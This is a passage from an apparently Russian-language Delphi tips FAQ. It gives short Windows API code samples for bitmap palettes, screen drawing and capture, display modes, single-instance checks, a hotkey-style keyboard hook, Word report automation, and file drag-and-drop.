Canvas.Draw(x, y, Bitmap);
x := x + Bitmap.Width;
end;
y := y + Bitmap.Height;
end;
end;
procedure TBmpForm.Button1Click(Sender: TObject);
begin
ScrambleBitmap; Invalidate;
end;
// scrambling the bitmap is easy when it's has 256 colors:
// we just need to change each of the color in the palette
// to some other value.
procedure TBmpForm.ScrambleBitmap;
var
pal: PLogPalette;
hpal: HPALETTE;
i: Integer;
begin
pal := nil;
try
GetMem(pal, sizeof(TLogPalette) + sizeof(TPaletteEntry) * 255);
pal.palVersion := $300;
pal.palNumEntries := 256;
for i := 0 to 255 do begin
pal.palPalEntry[i].peRed := Random(255);
pal.palPalEntry[i].peGreen := Random(255);
pal.palPalEntry[i].peBlue := Random(255);
end;
hpal := CreatePalette(pal^);
if hpal <> 0 then Bitmap.Palette := hpal;
finally
FreeMem(pal);
end;
end;
end.
Заполняет Canvas рисунком с рабочего стола, учитывая координаты. Function PaintDesktop(HDC) : boolean;
Например:
PaintDesktop(form1.Canvas.Handle);
Как вставить растровое изображение в компонент ListBox? Для этого необходимо установить в инспекторе объектов поле Style в lbOwnerDrawFixed, при фиксированной высоте строки, или в lbOwnerDrawVariable, при переменной, и установить собственный обработчик события для OnDrawItem. В этом обработчике и надо рисовать растровое изображение.
Пример:
Рисуются изображения размером 32×16 (размер стандартного глифа для Delphi). Очень полезно при поиске нужного изображения для кнопок!
Установить в инспекторе объектов для ListBox поле ItemHeight = 19, а поле Color = clBtnFace.
{ Загрузить список файлов в ListBox1 при нажатии на кнопку Load (например)}
procedure TForm1.bLoadClick(Sender: TObject);
VAR S : String;
begin
ListBox1.Clear; {чистим список}
S := '*.bmp'#0; {задаем шаблон}
ListBox1.Perform(LB_DIR, DDL_ReadWrite, Longint(@S[1])); {заполняем список}
end;
............
{Отобразить изображения и имена файлов в ListBox}
procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer; Rect: TRect; State: DrawState);
VAR
Bitmap : TBitmap;
Offset : Integer;
BMPRect: TRect;
begin
WITH (Control AS TListBox).Canvas DO BEGIN
FillRect(Rect);
Bitmap := TBitmap.Create;
Bitmap.LoadFromFile(ListBox1.Items[Index]);
Offset := 0;
IF Bitmap <> NIL THEN BEGIN
BMPRect := Bounds(Rect.Left+2, Rect.Top+2,
(Rect.Bottom-Rect.Top-2)*2, Rect.Bottom-Rect.Top-2);
{StretchDraw(BMPRect, Bitmap); Можно просто нарисовать, но лучше сначала убрать фон}
BrushCopy(BMPRect,Bitmap, Bounds(0, 0, Bitmap.Width, Bitmap.Height),
Bitmap.Canvas.Pixels[0, Bitmap.Height-1]);
Offset := (Rect.Bottom-Rect.Top+1)*2;
END;
TextOut(Rect.Left+Offset, Rect.Top, ListBox1.Items[Index]);
Bitmap.Free;
END;
end;
Данный пример работает медленно, но оптимизация, для ускорения, вызвала бы трудность в понимании общего принципа его работы.
Можно ли из Delphi рисовать в любой части экрана или в чужом окне? Для этого надо воспользоваться функциями API. Получить контекст чужого окна, либо всего экрана:
function GetDC(Wnd: HWnd): HDC;
где Wnd — указатель на нужное окно, или 0 для получения контекста всего экрана.
И далее, пользуясь функциями API, нарисовать все что надо.
Пример:
PROCEDURE DrawOnScreen;
VAR ScreenDC: hDC;
BEGIN
ScreenDC := GetDC(0); {получить контекст экрана}
Ellipse(ScreenDC, 0, 0, 200, 200); {нарисовать}
ReleaseDC(0,ScreenDC); {освободить контекст}
END;
Не забывайте после своих манипуляций посылать пострадавшим (или всем) окнам сообщение о необходимости перерисовки, для восстановления их первоначального вида.
Написание текста под углом { Эта процедура устанавливает угол вывода текста для указанного Canvas, угол в градусах }
{ Шрифт должен быть TrueType ! }
procedure CanvasSetTextAngle(c: TCanvas; d: single);
var LogRec: TLOGFONT; { Информация о шрифте }
begin
{Читаем текущюю инф. о шрифте }
GetObject(c.Font.Handle,SizeOf(LogRec) ,Addr(LogRec) );
{ Изменяем угол }
LogRec.lfEscapement := round(d*10);
{ Устанавливаем новые параметры }
c.Font.Handle := CreateFontIndirect(LogRec);
end;
Преобразование цвета RGB в HLS { Максимальные значения }
Const
HLSMAX = 240;
RGBMAX = 255;
UNDEFINED = (HLSMAX*2) div 3;
Var
H, L, S : integer; { H-оттенок, L-яркость, S-насыщенность }
R, G, B : integer; { цвета }
procedure RGBtoHLS;
Var
cMax,cMin : integer;
Rdelta,Gdelta,Bdelta : single;
Begin
cMax := max( max(R,G), B);
cMin := min( min(R,G), B);
L := round( ( ((cMax+cMin)*HLSMAX) + RGBMAX )/(2*RGBMAX) );
if (cMax = cMin) then begin
S := 0; H := UNDEFINED;
end else begin
if (L <= (HLSMAX/2)) then
S := round( ( ((cMax-cMin)*HLSMAX) + ((cMax+cMin)/2) ) / (cMax+cMin) )
else
S := round( ( ((cMax-cMin)*HLSMAX) + ((2*RGBMAX-cMax-cMin)/2) ) / (2*RGBMAX-cMax-cMin) );
Rdelta := ( ((cMax-R)*(HLSMAX/6)) + ((cMax-cMin)/2) ) / (cMax-cMin);
Gdelta := ( ((cMax-G)*(HLSMAX/6)) + ((cMax-cMin)/2) ) / (cMax-cMin);
Bdelta := ( ((cMax-B)*(HLSMAX/6)) + ((cMax-cMin)/2) ) / (cMax-cMin);
if (R = cMax) then H := round(Bdelta - Gdelta)
else if (G = cMax) then H := round( (HLSMAX/3) + Rdelta - Bdelta)
else H := round( ((2*HLSMAX)/3) + Gdelta - Rdelta );
if (H <0) then H:=H + HLSMAX;
if (H > HLSMAX) then H:= H - HLSMAX;
end;
if S<0 then s:=0; if s>HLSMAX then S:=HLSMAX;
if L<0 then l:=0; if l>HLSMAX then L:=HLSMAX;
end;
procedure HLStoRGB;
Var
Magic1,Magic2 : single;
function HueToRGB(n1,n2,hue : single) : single;
begin
if (hue <0) then hue := hue+HLSMAX;
if (hue > HLSMAX) then hue:=hue -HLSMAX;
if (hue <(HLSMAX/6)) then
result:= ( n1 + (((n2-n1)*hue+(HLSMAX/12))/(HLSMAX/6)) )
else
if (hue <(HLSMAX/2)) then result:=n2 else
if (hue <((HLSMAX*2)/3)) then
result:= ( n1 + (((n2-n1)*(((HLSMAX*2)/3)-hue)+(HLSMAX/12))/(HLSMAX/6)))
else result:= ( n1 );
end;
begin
if (S = 0) then begin
B:=round( (L*RGBMAX)/HLSMAX ); R:=B; G:=B;
end else begin
if (L <= (HLSMAX/2)) then Magic2 := (L*(HLSMAX + S) + (HLSMAX/2))/HLSMAX
else Magic2 := L + S - ((L*S) + (HLSMAX/2))/HLSMAX;
Magic1 := 2*L-Magic2;
R := round( (HueToRGB(Magic1,Magic2,H+(HLSMAX/3))*RGBMAX + (HLSMAX/2))/HLSMAX );
G := round( (HueToRGB(Magic1,Magic2,H)*RGBMAX + (HLSMAX/2)) / HLSMAX );
B := round( (HueToRGB(Magic1,Magic2,H-(HLSMAX/3))*RGBMAX + (HLSMAX/2))/HLSMAX );
end;
if R<0 then r:=0; if r>RGBMAX then R:=RGBMAX;
if G<0 then g:=0; if g>RGBMAX then G:=RGBMAX;
if B<0 then b:=0; if b>RGBMAX then B:=RGBMAX;
end;
Число цветов (цветовая палитра) у данного компьютера Эта функция возвращает число бит на точку у данного компьютера. Так, например, 8 — 256 цветов, 4 — 16 цветов ...
function GetDisplayColors : integer;
var tHDC : hdc;
begin
tHDC:=GetDC(0);
result:=GetDeviceCaps(tHDC, 12)* GetDeviceCaps(tHDC, 14);
ReleaseDC(0, tHDC);
end;
Копирование экрана unit ScrnCap;
interface
uses WinTypes, WinProcs, Forms, Classes, Graphics, Controls;
{ Копирует прямоугольную область экрана }
function CaptureScreenRect(ARect : TRect) : TBitmap;
{ Копирование всего экрана }
function CaptureScreen : TBitmap;
{ Копирование клиентской области формы или элемента }
function CaptureClientImage(Control : TControl) : TBitmap;
{ Копирование всей формы элемента }
function CaptureControlImage(Control : TControl) : TBitmap;
{====================================================}
implementation
function GetSystemPalette : HPalette;
var
PaletteSize : integer;
LogSize : integer;
LogPalette : PLogPalette;
DC : HDC;
Focus : HWND;
begin
result:=0;
Focus:=GetFocus;
DC:=GetDC(Focus);
try
PaletteSize:=GetDeviceCaps(DC, SIZEPALETTE);
LogSize:=SizeOf(TLogPalette)+(PaletteSize-1)*SizeOf(TPaletteEntry);
GetMem(LogPalette, LogSize);
try
with LogPalette^ do begin
palVersion:=$0300;
palNumEntries:=PaletteSize;
GetSystemPaletteEntries(DC, 0, PaletteSize, palPalEntry);
end;
result:=CreatePalette(LogPalette^);
finally
FreeMem(LogPalette, LogSize);
end;
finally
ReleaseDC(Focus, DC);
end;
end;
function CaptureScreenRect(ARect : TRect) : TBitmap;
var
ScreenDC : HDC;
begin
Result:=TBitmap.Create;
with result, ARect do begin
Width:=Right-Left;
Height:=Bottom-Top;
ScreenDC:=GetDC(0);
try
BitBlt(Canvas.Handle, 0,0,Width,Height,ScreenDC, Left, Top, SRCCOPY );
finally
ReleaseDC(0, ScreenDC);
end;
Palette:=GetSystemPalette;
end;
end;
function CaptureScreen : TBitmap;
begin
with Screen do
Result:=CaptureScreenRect(Rect(0,0,Width,Height));
end;
function CaptureClientImage(Control : TControl) : TBitmap;
begin
with Control, Control.ClientOrigin do
result:=CaptureScreenRect(Bounds(X,Y,ClientWidth,ClientHeight));
end;
function CaptureControlImage(Control : TControl) : TBitmap;
begin
with Control do
if Parent=Nil then
result:=CaptureScreenRect(Bounds(Left,Top,Width,Height))
else
with Parent.ClientToScreen(Point(Left, Top)) do
result:=CaptureScreenRect(Bounds(X,Y,Width,Height));
end;
end.
Как нарисовать "неактивный"(disable) текст. {************************ Draw Disabled Text **************
***** This function draws text in "disabled" style. *****
***** i.e. the text is grayed . *****
**********************************************************}
function DrawDisabledText (Canvas : tCanvas; Str: PChar; Count: Integer; var Rect: TRect; Format: Word): Integer;
begin
SetBkMode(Canvas.Handle, TRANSPARENT);
OffsetRect(Rect, 1, 1);
Canvas.Font.color:= ClbtnHighlight;
DrawText (Canvas.Handle, Str, Count, Rect,Format);
Canvas.Font.Color:= ClbtnShadow;
OffsetRect(Rect, -1, -1);
DrawText (Canvas.Handle, Str, Count, Rect, Format);
end;
Как менять разрешение экрана по ходу выполнения программы function SetFullscreenMode:Boolean;
var DeviceMode : TDevMode;
begin
with DeviceMode do begin
dmSize:=SizeOf(DeviceMode);
dmBitsPerPel:=16;
dmPelsWidth:=640;
dmPelsHeight:=480;
dmFields:=DM_BITSPERPEL or DM_PELSWIDTH or DM_PELSHEIGHT;
result:=False;
if ChangeDisplaySettings(DeviceMode,CDS_TEST or CDS_FULLSCREEN) <> DISP_CHANGE_SUCCESSFUL
then Exit;
Result:=ChangeDisplaySettings(DeviceMode,CDS_FULLSCREEN) = DISP_CHANGE_SUCCESSFUL;
end;
end;
procedure RestoreDefaultMode;
var T : TDevMode absolute 0;
begin
ChangeDisplaySettings(T,CDS_FULLSCREEN);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if setFullScreenMode then begin
sleep(7000);
RestoreDefaultMode;
end;
end;
Как поместить картинку из базы данных, например MsSQL, в компонент TIMAGE?
1) Предполагается, что поле BLOB (например, Pict)
2) в запросе Query.SQL пишется что-то вроде
'select Pict from sometable where somefield=somevalue'
3) запрос открывается
4) делается "присваивание":
Image1.Picture.Assing(TBlobField(Query.FieldByName('Pict'))
или, если известно, что эта картинка — Bitmap, то можно
Image1.Picture.Bitmap.Assing(TBlobField(Query.FieldByName('Pict'))
А можно воспользоваться компонентом TDBImage.
Извлечение иконки из Exe-файла и рисование ее в TImagesКаким образом извлечь иконку из EXE- и DLL-файлов (ExtractAssociatedIcon) и отобразить ее на компоненте Timage или небольшой области на форме?
--------------------------------------------------------------------------------
uses ShellApi;
procedure TForm1.Button1Click(Sender: TObject);
var
IconIndex : word;
h : hIcon;
begin
IconIndex := 0;
h := ExtractAssociatedIcon(hInstance, 'C:\WINDOWS\NOTEPAD.EXE', IconINdex);
DrawIcon(Form1.Canvas.Handle, 10, 10, h);
end;
Разное
Как получить горизонтальную прокрутку (scrollbar) в ListBox? Так же как в случае с TMemo, здесь можно использовать сообщения. Например, сообщение может быть отослано в момент создания формы:
procedure TForm1.FormCreate(Sender: TObject);
begin
ListBox1.Perform(LB_SETHORIZONTALEXTENT, 1000, Longint(0));
end;
Второй параметр в вызове — ширина прокрутки в точках.
Поиск строки в ListBox Есть функция API Windows, что заставляет искать строку в ListBox с указанной позиции.
Например, поиск строки, что начинается на '1.' От текущей позиции курсора в ListBox. Т.о., нажимая на кнопку Button1, будут перебраны все строки начинающиеся на '1.'
procedure TForm1.Button1Click(Sender: TObject);
var S : string;
begin
S:='1.';
with ListBox1 do ItemIndex := Perform(LB_SELECTSTRING, ItemIndex, LongInt(S));
end;
Более подробную информацию о работе команды LB_SELECTSTRING можно узнать из Help-а Win32.
Пример получения позиции курсора из компоненты TMemo. procedure TForm1.Memo1KeyUp(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
Memo1Click(Self);
end;
procedure TForm1.Memo1Click(Sender: TObject);
VAR
LineNum : LongInt;
CharNum : LongInt;
begin
LineNum := Memo1.Perform(EM_LINEFROMCHAR, Memo1.SelStart, 0);
CharNum := Memo1.Perform(EM_LINEINDEX, LineNum, 0);
Label1.Caption := IntToStr(LineNum+1)+' : '+IntToStr((Memo1.SelStart-CharNum)+1);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Memo1Click(Self);
end;
Функция Undo в TMemo В компоненте TMemo предусмотрена функция отмены последней правки (Undo). Ее можно вызвать следующим образом:
Memo1.Perform(EM_UNDO,0,0);
Узнать о том, возможна ли отмена (т.е. есть ли что отменять) можно следующим образом:
UndoEnabled:=(Memo1.Perform(EM_CAUNDO,0,0)<>0);
Как прокрутить текст в Tmemo или в TRichEdit Я добавляю програмно несколько строк в конец поля Memo, а их не видно. Как прокрутить Memo, чтобы было видно последние строки ?
Примерно так:
SendMessage(Memo1.Handle, EM_LINESCROLL, 0, Memo1.Lines.Count-1);
Как определить работает ли уже данное приложение или это первая его копия? Для Delphi 1. Каждый экземпляр программы имеет ссылку на свою предыдущую копию — hPrevInst: hWnd. Ее можно проверить перед созданием приложения и при необходимости отреагировать соответствующим образом. Если запущена только одна копия, то эта ссылка равна нулю.
Пример:
procedure TForm1.FormCreate(Sender: TObject);
begin
{Проверяем есть ли указатель на предыдущую копию приложения}
IF hPrevInst <> 0 THEN BEGIN
{Если есть, то выдаем сообщение и выходим}
MessageDlg('Программа уже запущена!', mtError, [mbOk], 0);
Halt;
END;
{Иначе - ничего не делаем (не мешаем созданию формы)}
end;
P.S. Для выхода необходимо использовать Halt, а не Close, как хотелось бы, так как форма еще не создана и закрывать нечего.
Есть и другой способ — по списку загруженных приложений
procedure TForm1.FormCreate(Sender: TObject);
VAR
Wnd : hWnd;
buff : ARRAY[0.. 127] OF Char;
Begin
Wnd := GetWindow(Handle, gw_HWndFirst);
WHILE Wnd <> 0 DO BEGIN
IF (Wnd <> Application.Handle) AND (GetWindow(Wnd, gw_Owner) = 0)
THEN BEGIN
GetWindowText (Wnd, buff, sizeof (buff ));
IF StrPas (buff) = Application.Title THEN
BEGIN
MessageDlg('Приложение уже загружено', mtWarning, [mbOk], 0);
Halt;
END;
END;
Wnd := GetWindow (Wnd, gw_hWndNext);
END;
End;
Еще один интересный способ для Win32. Дело в том, что можно в памяти создавать временные файлы. При перезагрузке они теряются, а так существуют. Кстати, этот метод можно использовать и для обмена информацией между вашими приложениями.
Пример:
program Project1;
uses
Windows, // Обязательно
Forms,
Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
Const
MemFileSize = 1024;
MemFileName = 'one_inst_demo_memfile';
Var
MemHnd : HWND;
begin
{ Попытаемся создать файл в памяти }
MemHnd := CreateFileMapping(HWND($FFFFFFFF),
nil,
PAGE_READWRITE,
0,
MemFileSize,
MemFileName);
{ Если файл не существовал запускаем приложение }
if GetLastError<>ERROR_ALREADY_EXISTS then
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end;
CloseHandle(MemHnd);
end.
Часто при работе у пользователя может быть открыто 5–20 окон и сообщение о том, что программа уже запущено приводит к тому, что он вынужден полчаса искать ранее запущенную копию. Выход из положения — найдя копию программы активировать ее, для чего в последнем примере перед HALT необходимо добавить строку :
SetForegroundWindow(Wnd);
Например так:
uses
Windows, // !!!
Forms,
Unit0 in 'Unit0.pas' {Form1};
var
Handle1 : LongInt;
Handle2 : LongInt;
{$R *.RES}
begin
Application.Initialize;
Handle1 := FindWindow('TForm1',nil);
if handle1 = 0 then
begin
Application.CreateForm(TForm1, Form1);
Application.Run;
end
else
begin
Handle2 := GetWindow(Handle1,GW_OWNER);
//Чтоб заметили :)
ShowWindow(Handle2,SW_HIDE); ShowWindow(Handle2,SW_RESTORE);
SetForegroundWindow(Handle1); // Активизируем
end;
end.
Пример вывода сообщения одной командой и ввода строки тоже одной командой. Вывод сообщения: ShowMessage('сообщение');
Ввод текста от пользователя: S:=InputBox('Заголовок', 'Сообщение', S{строка по умолчанию});
unit Unit1;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Button3: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage('Пример простого сообщения.'+#10+
'Данное сообщение выводится всегда в центре экрана.');
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
ShowMessagePos('Пример сообщения с указанием его положения на экране.',
Form1.Left+Button2.Left, Form1.Top+Button2.Top);
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
Button3.Caption := InputBox('Delphi для всех', 'Введите строку:', Button3.Caption);
end;
end.
Перетаскивание формы за ее поле procedure TForm1.MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
const SC_DragMove = $F012; { a magic number }
begin
ReleaseCapture;
perform(WM_SysCommand, SC_DragMove, 0);
end;
Обработка событий от клавиатуры I. Эмуляция нажатия клавиши.
Внутри приложения это выполняется достаточно просто с помощью вызова функции Windows API SendMessage() (можно воспользоваться и методом Perform того объекта (или формы), кому посылается сообщение о нажатой клавише).
Код
Memo1.Perform(WM_CHAR, Ord('A'), 0);
или
SendMessage(Memo1.Handle, WM_CHAR, Ord('A'), 0);
приведет к печати символа "A" в объекте Memo1.
II. Перехват нажатий клавиши внутри приложения.
Задача решается очень просто. Можно у формы установить свойство KeyPreview в True и обрабатывать событие OnKeyPress. Второй способ — перехватывать событие OnMessage для объекта Application.
III. Перехват нажатия клавиши в Windows.
Существуют приложения, которым необходимо перехватывать все нажатия клавиш в Windows, даже если в данный момент активно другое приложение. Это может быть, например, программа, переключающая раскладку клавиатуры, резидентный словарь или программа, выполняющая иные действия по нажатию "горячей" комбинации клавиш. Перехват всех событий в Windows (в том числе и событий от клавиатуры) выполняется с помощью вызова функции SetWindowsHook(). Данная функция регистрирует в системе Windows ловушку (hook) для определенного типа событий/сообщений. Ловушка — это пользовательская процедура, которая будет обрабатывать указанное событие. Основное здесь то, что эта процедура должна всегда присутствовать в памяти Windows. Поэтому ловушку помещают в DLL и загружают эту DLL из программы. Пока хоть одна программа использует DLL, та не может быть выгружена из памяти. Приведем пример такой DLL и программы, ее использующей. В примере ловушка перехватывает нажатие клавиш на клавиатуре, проверяет их и, если это клавиши "+" или "-", посылает соответствующее сообщение в конкретное приложение (окно). Окно ищется по имени его класса ("TForm1") и заголовку (caption, "XXX").
{текст библиотеки}
library SendKey;
uses
WinTypes, WinProcs, Messages;
const
{пользовательские сообщения}
wm_NextShow_Event = wm_User + 133;
wm_PrevShow_Event = wm_User + 134;
{handle для ловушки}
HookHandle: hHook = 0;
var
SaveExitProc : Pointer;
{собственно ловушка}
function Key_Hook(Code: integer; wParam: word; lParam: Longint): Longint; export;
var
H: HWND;
begin
{если Code>=0, то ловушка может обработать событие}
if Code >= 0 then
begin
{это те клавиши?}
if ((wParam = VK_ADD)or(wParam = VK_SUBTRACT)) and
(lParam and $40000000 = 0)
then begin
{ищем окно по имени класса и по заголовку}
H := FindWindow('TForm1', 'XXX');
{посылаем сообщение}
if wParam = VK_ADD then
SendMessage(H, wm_NextShow_Event, 0, 0)
else
SendMessage(H, wm_PrevShow_Event, 0, 0);
end;
{если 0, то система должна дальше обработать это событие}
{если 1 - нет}
Result:=0;
end
else
{если Code<0, то нужно вызвать следующую ловушку}
Result := CallNextHookEx(HookHandle,Code, wParam, lParam);
end;
{при выгрузке DLL надо снять ловушку}
procedure LocalExitProc; far;
begin
if HookHandle<>0 then
begin
UnhookWindowsHookEx(HookHandle);
ExitProc := SaveExitProc;
end;
end;
{инициализация DLL при загрузке ее в память}
begin
{устанавливаем ловушку}
HookHandle := SetWindowsHookEx(wh_Keyboard, Key_Hook,
hInstance, 0);
if HookHandle = 0 then
MessageBox(0, 'Unable to set hook!', 'Error', mb_Ok)
else begin
SaveExitProc := ExitProc;
ExitProc := @LocalExitProc;
end;
end.
Размер такой DLL в скомпилированном виде будет около 3Кб, поскольку в ней не используются объекты из VCL.
Далее приведен код модуля в Delphi, который загружает DLL и обрабатывает сообщения от ловушки, просто отображая их в Label1.
unit Unit1;
interface
uses
SysUtils,WinTypes,WinProcs,Messages,Classes,Graphics,
Controls,Forms,Dialogs,StdCtrls;
{пользовательские сообщения}
const
wm_NextShow_Event = wm_User + 133;
wm_PrevShow_Event = wm_User + 134;
type
TForm1 = class(TForm)
Label1: TLabel;
procedure FormCreate(Sender: TObject);
private
{обработчики сообщений}
procedure WM_NextMSG (Var M : TMessage); message wm_NextShow_Event;
procedure WM_PrevMSG (Var M : TMessage); message wm_PrevShow_Event;
end;
var
Form1: TForm1;
P : Pointer;
implementation
{$R *.DFM}
{загрузка DLL}
function Key_Hook : Longint; far; external 'SendKey';
procedure TForm1.WM_NextMSG (Var M : TMessage);
begin
Label1.Caption:='Next message';
end;
procedure TForm1.WM_PrevMSG (Var M : TMessage);
begin
Label1.Caption:='Previous message';
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
{если не использовать вызов процедуры из DLL в программе,
то компилятор удалит загрузку DLL из программы}
P:=@Key_Hook;
end;
end.
Конечно, свойство Caption в этой форме должно быть установлено в "XXX".
Как сделать так, что при нажатии на Enter происходил переход к следующему элементу формы Ставите у формы KeyPreview = true и создаете событие KeyPress следующего вида:
procedure TForm1.FormKeyPress(Sender: TObject; var Key: Char);
begin
if (Key = #13) then begin
Key:=#0;
Perform(WM_NEXTDLGCTL,0,0);
end;
end;
Вставка и удаление компонент в форму в design-time Вопрос:
Каким образом можно отследить вставку и удаление компонент в форму в design-time? Такая информация могла бы пригодится, если моя компонента имеет ссылки на другие компоненты (например, как в связке TDateSource,TTable и др.)
Ответ:
Для получения такой информации предназначен метод
procedure Notification (AComponent: TComponent; Operation: TOperation); virtual;
класса TComponent. Перекрыв его в своей компоненты Вы можете произвести необходимые действия, в зависимости от значения параметра Operation типа
TOperation = (opInsert, opRemove);
объявленного в модуле Classes. Параметр AComponent — компонента, соответственно вставлемая или удаляемая, в зависимости от Operation.
Создание отчета в MS Word(Пример для Delphi 1.0 поскольку в Delphi 2-3 лучше использовать:
var MsWord : variant;
MsWord := CreateOleObject('Word.Basic');
Для Delphi 3, пример ниже)
Создавать отчет в программе Word удобно если отчет имеет сложную структуру (тогда его быстрее создать в Word, чем в Qreport от Delphi, кроме того, этот QReport имеет "глюки"), либо, если после создания отчета его нужно будет изменять. Итак, первым делом в Word создается шаблон будущего отчета, это самый обыкновенный не заполненный отчет. А в места куда будет записываться информация нужно поставить метки. Например (для наглядности метки показаны синим цветом, реально они конечно не видны):
Накладная № Num
№ Поставщик Наименование товара Код товара Кол-во Цена Сумма Table ? ? ? ? ? ?
Сдал_______________________ Принял________________________
М.П. М.П.
Далее в форму, откуда будут выводиться данные, вставляете компоненту DdeClientConv из палитры System. Назовем ее DDE1. Эта компонента позволяет передавать информацию между программами методом DDE. Свойства:
ConnectMode : ddeManual — связь устанавливаем вручную
DdeService : (winword) — с кем устанавливается связь
ServiceApplication : C:\MSOffice\Winword\WINWORD.EXE — полный путь доступа к программе. (Вот здесь можно наступить на грабли. Ведь Word может лежать в любой папке! Поэтому путь доступа к нему лучше взять из реестра, а еще лучше использовать OLE см.начало раздела)
Теперь пишем процедуру передачи данных:
{ Печать накладной }
procedure Form1.PrintN;
Var
S : string;
i : integer;
Sum : double; {итоговая сумма, кстати,совет: не пользуйтесь типом real!}
Tv, Ss : PChar;
begin
S:=GetCurrentDir+'\Накладная.doc'; { имя открываемого документа }
DDE1.OpenLink; { устанавливаем связь }
Tv:=StrAlloc(20000); Ss:=StrAlloc(300); { выделяем память }
{ даем команду открыть документ и установить курсор в начало документа }
StrPCopy(Tv, '[FileOpen "'+S+'"][StartOfDocument]');
S:=NNakl.Text; { номер накладной }
{ записываем в позицию Num номер накладной }
StrCat(Tv, StrPCopy(SS, '[EditBookmark .Name = "Num", .Goto][Insert "'+S+'"]'+
'[EditBookmark .Name = "Table", .Goto]'); { и переходим к заполнению таблицы }
{ передаем данные в Word }
if not DDE1.ExecuteMacro(Tv, false) then
begin { сообщаем об ошибке и выход }
MessageDlg('Ошибка связи с Microsoft Word.', mtError, [mbOk], 0);
StrDispose(Tv); StrDispose(Ss);
exit;
end;
{ Заполняем таблицу }
Sum:=0; Nn:=0;
for i:=0 to TCount do
begin
inc(Nn);
{ предполагаем, что данные находятся в массиве T }
StrPCopy(Tv, '[Insert "'+IntToStr(Nn)+'"][NextCell][Insert "'+T[i].Company+'"]'+
'[NextCell][Insert "'+T.TName+'"][NextCell][Insert "'+T.Cod+'"][NextCell]'+
'[Insert "'+IntToStr(T.Count)+'"][NextCell]'+
'[Insert "'+FloatToStr(T.Cena)+'"][NextCell]'+
'[Insert "'+FloatToStr(T.Count*T.Cena)*+'"][NextCell]'));
inc(Nn);
Sum:=Sum+(T.Count*T.Cena); { итоговая сумма }
if not DDE1.ExecuteMacro(Tv, false)
then begin
MessageDlg('Ошибка связи с Microsoft Word.', mtError, [mbOk], 0);
exit;
end;
end;
{ Записываем итоговую сумму }
StrPCopy(Tv,
'[NextCell][Insert "Итого"][NextCell][NextCell][NextCell]'+
'[Insert "'+FloatToStr(Sum)+'"]'));
if not DDE1.ExecuteMacro(Tv, false)
then MessageDlg('Ошибка связи с Microsoft Word.', mtError, [mbOk], 0)
else MessageDlg('Акт удачно создан. Перейдите в Microsoft Word.',
mtInformation, [mbOk], 0);
StrDispose(Tv); StrDispose(Ss);
end;
Для Delphi 2 и выше
=== Cut Пример by Sergey Arkhipov 2:5054/88.10 ===
Пример проверен только на русском Word 7.0! Может, поможет...
unit InWord;
interface
uses
... ComCtrls; // Delphi3
... OLEAuto; // Delphi2
[skip]
procedure TPrintForm.MPrintClick(Sender: TObject);
var W: Variant;
S: String;
begin
S:=IntToStr(Num);
try // А вдруг где ошибка :)
W:=CreateOleObject('Word.Basic');
// Создаем документ по шаблону MyWordDot
// с указанием пути если он не в папке шаблонов Word
W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0);
// Отключение фоновой печати (на LJ5L без этого был пустой лист)
W.ToolsOptionsPrint(Background:=0);
// Переходим к закладке Word'a 'Num'
W.EditGoto('Num'); W.Insert(S);
//Сохранение
W.FileSaveAs('C:\MayPath\Reports\MyReport')
W.FilePrint(NumCopies:='2'); // Печать 2-х копий
finally
W.ToolsOptionsPrint(Background:=1);
W:=UnAssigned;
end;
end;
{.....}
=== Cut Конец примера ===
Спасибо Сергею :) И еще, как определить установлен ли на компьютере Word, запустить его и загрузить в него текст из программы?
Пример:
var
MsWord: Variant;
...
try
// Если Word уже запущен
MsWord := GetActiveOleObject('Word.Application');
// Взять ссылку на запущенный OLE объект
except
try
// Word не запущен, запустить
MsWord := CreateOleObject('Word.Application');
// Создать ссылку на зарегистрированный OLE объект
MsWord.Visible := True;
except
ShowMessage('Не могу запустить Microsoft Word');
Exit;
end;
end;
end;
...
MSWord.Documents.Add; // Создать новый документ
MsWord.Selection.Font.Bold := True; // Установить жирный шрифт
MsWord.Selection.Font.Size := 12; // установить 12 кегль
MsWord.Selection.TypeText('Текст');
По командам OLE Automation сервера см. help по Microsoft Word Visual Basic.
Ну вот и все.
Перетаскивание файла{ На эту форму можно бросить файл (например из проводника)
и он будет открыт }
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics,
Controls, Forms, Dialogs,StdCtrls,
ShellAPI {обязательно!};
type
TForm1 = class(TForm)
Memo1: TMemo;
FileNameLabel: TLabel;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
protected
{Это и есть самая главная процедура}
procedure WMDropFiles(var Msg: TMessage); message wm_DropFiles;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.WMDropFiles(var Msg: TMessage);
var
Filename: array[0 .. 256] of Char;
Count : integer;
begin
{ Получаем количество файлов (просто пример) }
nCount := DragQueryFile( msg.WParam, $FFFFFFFF,
acFileName, cnMaxFileNameLen);
{ Получаем имя первого файла }
DragQueryFile( THandle(Msg.WParam),
0, { это номер файла }
Filename,SizeOf(Filename) ) ;
{ Открываем его }
with FileNameLabel do begin
Caption := LowerCase(StrPas(FileName));
Memo1.Lines.LoadfromFile(Caption);
end;
{ Отдаем сообщение о завершении процесса }
DragFinish(THandle(Msg.WParam));
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
{ Говорим Windows, что на нас можно бросать файлы }
DragAcceptFiles(Handle, True);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
{ Закрываем за собой дверь золотым ключиком}
DragAcceptFiles(Handle, False);
